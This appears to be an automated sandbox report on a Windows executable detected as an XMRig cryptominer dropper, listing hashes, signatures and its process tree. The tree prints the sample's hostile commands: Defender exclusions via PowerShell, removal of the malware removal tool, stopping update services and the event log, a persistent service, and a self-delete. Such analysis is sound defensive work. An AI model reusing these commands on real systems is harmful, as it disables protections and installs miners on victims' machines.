Analysis
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max time kernel
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max time network
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platform
windows7_x64 -
resource
win7-20241010-en -
resource tags
arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system -
submitted
19-12-2024 05:39
Static task
static1
Behavioral task
behavioral1
Sample
6de87c4212e1f5992195d7bb2159a1f22f293be6489e3c95c90ca06568005e7e.exe
Resource
win7-20241010-en
General
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Target
6de87c4212e1f5992195d7bb2159a1f22f293be6489e3c95c90ca06568005e7e.exe
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Size
5.6MB
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MD5
5d5ebf263d56b7c129d0b51d1450cf13
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SHA1
8f73735eed56744693d9216a5b07d7acb0c56756
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SHA256
6de87c4212e1f5992195d7bb2159a1f22f293be6489e3c95c90ca06568005e7e
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SHA512
a76427ce890a53d5013bde57602cbb29fe03083eddb588b494552a08cc3bfe0f1283cf6d5a0e091405e619a89d11631dbdfcc0837032d12b80e5600331692560
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SSDEEP
98304:KggSZTFznDHwE8oohoIgNgx+r3P4jw4fn9E32RW0O2gT/gQGhP3oFL6p4kvDZ/HP:DgSZJznDHMo+JgNgx+r3P+e32BO2gjgL
Malware Config
Signatures
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Xmrig family
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XMRig Miner payload 8 IoCs
resource yara_rule behavioral1/memory/2504-33-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2504-32-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2504-35-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2504-38-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2504-39-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2504-37-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2504-36-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2504-41-0x0000000140000000-0x0000000140848000-memory.dmp xmrig -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 1480 powershell.exe 2784 powershell.exe -
Creates new service(s) 2 TTPs
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Deletes itself 1 IoCs
pid Process 2440 cmd.exe -
Executes dropped EXE 2 IoCs
pid Process 468 Process not Found 980 fqwofdtexigy.exe -
Loads dropped DLL 1 IoCs
pid Process 468 Process not Found -
Power Settings 1 TTPs 8 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
pid Process 2940 powercfg.exe 1180 powercfg.exe 820 powercfg.exe 1988 powercfg.exe 2432 powercfg.exe 2156 powercfg.exe 2164 powercfg.exe 2512 powercfg.exe -
Drops file in System32 directory 4 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\system32\MRT.exe 6de87c4212e1f5992195d7bb2159a1f22f293be6489e3c95c90ca06568005e7e.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\system32\MRT.exe fqwofdtexigy.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 980 set thread context of 1184 980 fqwofdtexigy.exe 84 PID 980 set thread context of 2504 980 fqwofdtexigy.exe 89 -
resource yara_rule behavioral1/memory/2504-27-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2504-28-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2504-30-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2504-29-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2504-33-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2504-31-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2504-32-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2504-35-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2504-38-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2504-39-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2504-37-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2504-36-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2504-41-0x0000000140000000-0x0000000140848000-memory.dmp upx -
Drops file in Windows directory 2 IoCs
description ioc Process File created C:\Windows\wusa.lock wusa.exe File created C:\Windows\wusa.lock wusa.exe -
Launches sc.exe 14 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2768 sc.exe 1740 sc.exe 1076 sc.exe 632 sc.exe 2052 sc.exe 320 sc.exe 1640 sc.exe 2632 sc.exe 2344 sc.exe 520 sc.exe 2984 sc.exe 2680 sc.exe 2232 sc.exe 1320 sc.exe -
Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 10275170d851db01 powershell.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2740 6de87c4212e1f5992195d7bb2159a1f22f293be6489e3c95c90ca06568005e7e.exe 2784 powershell.exe 2740 6de87c4212e1f5992195d7bb2159a1f22f293be6489e3c95c90ca06568005e7e.exe 2740 6de87c4212e1f5992195d7bb2159a1f22f293be6489e3c95c90ca06568005e7e.exe 2740 6de87c4212e1f5992195d7bb2159a1f22f293be6489e3c95c90ca06568005e7e.exe 2740 6de87c4212e1f5992195d7bb2159a1f22f293be6489e3c95c90ca06568005e7e.exe 2740 6de87c4212e1f5992195d7bb2159a1f22f293be6489e3c95c90ca06568005e7e.exe 2740 6de87c4212e1f5992195d7bb2159a1f22f293be6489e3c95c90ca06568005e7e.exe 2740 6de87c4212e1f5992195d7bb2159a1f22f293be6489e3c95c90ca06568005e7e.exe 2740 6de87c4212e1f5992195d7bb2159a1f22f293be6489e3c95c90ca06568005e7e.exe 2740 6de87c4212e1f5992195d7bb2159a1f22f293be6489e3c95c90ca06568005e7e.exe 2740 6de87c4212e1f5992195d7bb2159a1f22f293be6489e3c95c90ca06568005e7e.exe 2740 6de87c4212e1f5992195d7bb2159a1f22f293be6489e3c95c90ca06568005e7e.exe 2740 6de87c4212e1f5992195d7bb2159a1f22f293be6489e3c95c90ca06568005e7e.exe 2740 6de87c4212e1f5992195d7bb2159a1f22f293be6489e3c95c90ca06568005e7e.exe 2740 6de87c4212e1f5992195d7bb2159a1f22f293be6489e3c95c90ca06568005e7e.exe 2740 6de87c4212e1f5992195d7bb2159a1f22f293be6489e3c95c90ca06568005e7e.exe 980 fqwofdtexigy.exe 1480 powershell.exe 980 fqwofdtexigy.exe 980 fqwofdtexigy.exe 980 fqwofdtexigy.exe 980 fqwofdtexigy.exe 980 fqwofdtexigy.exe 980 fqwofdtexigy.exe 980 fqwofdtexigy.exe 980 fqwofdtexigy.exe 980 fqwofdtexigy.exe 980 fqwofdtexigy.exe 980 fqwofdtexigy.exe 980 fqwofdtexigy.exe 2504 nslookup.exe 2504 nslookup.exe 2504 nslookup.exe 2504 nslookup.exe 2504 nslookup.exe 2504 nslookup.exe 2504 nslookup.exe 2504 nslookup.exe 2504 nslookup.exe 2504 nslookup.exe 2504 nslookup.exe 2504 nslookup.exe 2504 nslookup.exe 2504 nslookup.exe 2504 nslookup.exe 2504 nslookup.exe 2504 nslookup.exe 2504 nslookup.exe 2504 nslookup.exe 2504 nslookup.exe 2504 nslookup.exe 2504 nslookup.exe 2504 nslookup.exe 2504 nslookup.exe 2504 nslookup.exe 2504 nslookup.exe 2504 nslookup.exe 2504 nslookup.exe 2504 nslookup.exe 2504 nslookup.exe 2504 nslookup.exe 2504 nslookup.exe 2504 nslookup.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 468 Process not Found -
Suspicious use of AdjustPrivilegeToken 11 IoCs
description pid Process Token: SeDebugPrivilege 2784 powershell.exe Token: SeShutdownPrivilege 2940 powercfg.exe Token: SeShutdownPrivilege 1180 powercfg.exe Token: SeShutdownPrivilege 820 powercfg.exe Token: SeShutdownPrivilege 1988 powercfg.exe Token: SeDebugPrivilege 1480 powershell.exe Token: SeShutdownPrivilege 2432 powercfg.exe Token: SeShutdownPrivilege 2156 powercfg.exe Token: SeShutdownPrivilege 2512 powercfg.exe Token: SeShutdownPrivilege 2164 powercfg.exe Token: SeLockMemoryPrivilege 2504 nslookup.exe -
Suspicious use of WriteProcessMemory 23 IoCs
description pid Process procid_target PID 2664 wrote to memory of 2636 2664 cmd.exe 36 PID 2664 wrote to memory of 2636 2664 cmd.exe 36 PID 2664 wrote to memory of 2636 2664 cmd.exe 36 PID 2440 wrote to memory of 1492 2440 cmd.exe 63 PID 2440 wrote to memory of 1492 2440 cmd.exe 63 PID 2440 wrote to memory of 1492 2440 cmd.exe 63 PID 2972 wrote to memory of 1940 2972 cmd.exe 73 PID 2972 wrote to memory of 1940 2972 cmd.exe 73 PID 2972 wrote to memory of 1940 2972 cmd.exe 73 PID 980 wrote to memory of 1184 980 fqwofdtexigy.exe 84 PID 980 wrote to memory of 1184 980 fqwofdtexigy.exe 84 PID 980 wrote to memory of 1184 980 fqwofdtexigy.exe 84 PID 980 wrote to memory of 1184 980 fqwofdtexigy.exe 84 PID 980 wrote to memory of 1184 980 fqwofdtexigy.exe 84 PID 980 wrote to memory of 1184 980 fqwofdtexigy.exe 84 PID 980 wrote to memory of 1184 980 fqwofdtexigy.exe 84 PID 980 wrote to memory of 1184 980 fqwofdtexigy.exe 84 PID 980 wrote to memory of 1184 980 fqwofdtexigy.exe 84 PID 980 wrote to memory of 2504 980 fqwofdtexigy.exe 89 PID 980 wrote to memory of 2504 980 fqwofdtexigy.exe 89 PID 980 wrote to memory of 2504 980 fqwofdtexigy.exe 89 PID 980 wrote to memory of 2504 980 fqwofdtexigy.exe 89 PID 980 wrote to memory of 2504 980 fqwofdtexigy.exe 89
Processes
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C:\Users\Admin\AppData\Local\Temp\6de87c4212e1f5992195d7bb2159a1f22f293be6489e3c95c90ca06568005e7e.exe"C:\Users\Admin\AppData\Local\Temp\6de87c4212e1f5992195d7bb2159a1f22f293be6489e3c95c90ca06568005e7e.exe"1⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:2740 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2784
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:2664 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
PID:2636
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:2768
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:2632
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:2680
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:1740
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:2232
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2940
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1180
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:820
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1988
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "JVNIRHNX"2⤵
- Launches sc.exe
PID:632
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "JVNIRHNX" binpath= "C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe" start= "auto"2⤵
- Launches sc.exe
PID:2344
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog2⤵
- Launches sc.exe
PID:1076
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "JVNIRHNX"2⤵
- Launches sc.exe
PID:1320
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\6de87c4212e1f5992195d7bb2159a1f22f293be6489e3c95c90ca06568005e7e.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2440 -
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:1492
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C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exeC:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:980 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1480
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:2972 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
PID:1940
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:2984
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:2052
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:320
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:520
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:1640
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2432
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2156
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2164
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2512
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C:\Windows\system32\conhost.exeC:\Windows\system32\conhost.exe2⤵PID:1184
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C:\Windows\system32\nslookup.exenslookup.exe2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2504
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
5.6MB
MD55d5ebf263d56b7c129d0b51d1450cf13
SHA18f73735eed56744693d9216a5b07d7acb0c56756
SHA2566de87c4212e1f5992195d7bb2159a1f22f293be6489e3c95c90ca06568005e7e
SHA512a76427ce890a53d5013bde57602cbb29fe03083eddb588b494552a08cc3bfe0f1283cf6d5a0e091405e619a89d11631dbdfcc0837032d12b80e5600331692560